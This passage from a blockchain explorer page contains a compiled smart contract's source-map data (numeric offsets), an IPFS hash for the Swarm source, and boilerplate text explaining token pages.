20;15890:2;15879:9;15875:18;15868:48;15933:108;16036:4;16027:6;15933:108;:::i;:::-;15925:116;;16051:72;16119:2;16108:9;16104:18;16095:6;16051:72;:::i;:::-;16133:73;16201:3;16190:9;16186:19;16177:6;16133:73;:::i;:::-;15382:831;;;;;;;;:::o;16219:147::-;16320:11;16357:3;16342:18;;16219:147;;;;:::o;16372:114::-;;:::o;16492:398::-;16651:3;16672:83;16753:1;16748:3;16672:83;:::i;:::-;16665:90;;16764:93;16853:3;16764:93;:::i;:::-;16882:1;16877:3;16873:11;16866:18;;16492:398;;;:::o;16896:379::-;17080:3;17102:147;17245:3;17102:147;:::i;:::-;17095:154;;17266:3;17259:10;;16896:379;;;:::o;17281:180::-;17421:32;17417:1;17409:6;17405:14;17398:56;17281:180;:::o;17467:366::-;17609:3;17630:67;17694:2;17689:3;17630:67;:::i;:::-;17623:74;;17706:93;17795:3;17706:93;:::i;:::-;17824:2;17819:3;17815:12;17808:19;;17467:366;;;:::o;17839:419::-;18005:4;18043:2;18032:9;18028:18;18020:26;;18092:9;18086:4;18082:20;18078:1;18067:9;18063:17;18056:47;18120:131;18246:4;18120:131;:::i;:::-;18112:139;;17839:419;;;:::o;18264:332::-;18385:4;18423:2;18412:9;18408:18;18400:26;;18436:71;18504:1;18493:9;18489:17;18480:6;18436:71;:::i;:::-;18517:72;18585:2;18574:9;18570:18;18561:6;18517:72;:::i;:::-;18264:332;;;;;:::o;18602:177::-;18742:29;18738:1;18730:6;18726:14;18719:53;18602:177;:::o;18785:366::-;18927:3;18948:67;19012:2;19007:3;18948:67;:::i;:::-;18941:74;;19024:93;19113:3;19024:93;:::i;:::-;19142:2;19137:3;19133:12;19126:19;;18785:366;;;:::o;19157:419::-;19323:4;19361:2;19350:9;19346:18;19338:26;;19410:9;19404:4;19400:20;19396:1;19385:9;19381:17;19374:47;19438:131;19564:4;19438:131;:::i;:::-;19430:139;;19157:419;;;:::o;19582:410::-;19622:7;19645:20;19663:1;19645:20;:::i;:::-;19640:25;;19679:20;19697:1;19679:20;:::i;:::-;19674:25;;19734:1;19731;19727:9;19756:30;19774:11;19756:30;:::i;:::-;19745:41;;19935:1;19926:7;19922:15;19919:1;19916:22;19896:1;19889:9;19869:83;19846:139;;19965:18;;:::i;:::-;19846:139;19630:362;19582:410;;;;:::o;19998:180::-;20046:77;20043:1;20036:88;20143:4;20140:1;20133:15;20167:4;20164:1;20157:15;20184:185;20224:1;20241:20;20259:1;20241:20;:::i;:::-;20236:25;;20275:20;20293:1;20275:20;:::i;:::-;20270:25;;20314:1;20304:35;;20319:18;;:::i;:::-;20304:35;20361:1;20358;20354:9;20349:14;;20184:185;;;;:::o;20375:220::-;20515:34;20511:1;20503:6;20499:14;20492:58;20584:3;20579:2;20571:6;20567:15;20560:28;20375:220;:::o;20601:366::-;20743:3;20764:67;20828:2;20823:3;20764:67;:::i;:::-;20757:74;;20840:93;20929:3;20840:93;:::i;:::-;20958:2;20953:3;20949:12;20942:19;;20601:366;;;:::o;20973:419::-;21139:4;21177:2;21166:9;21162:18;21154:26;;21226:9;21220:4;21216:20;21212:1;21201:9;21197:17;21190:47;21254:131;21380:4;21254:131;:::i;:::-;21246:139;;20973:419;;;:::o

Swarm Source

ipfs://891dcfc42d514f8c0a2bdd248e4e8092eeb2da4774d8b6e66c08df51a7342d59
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.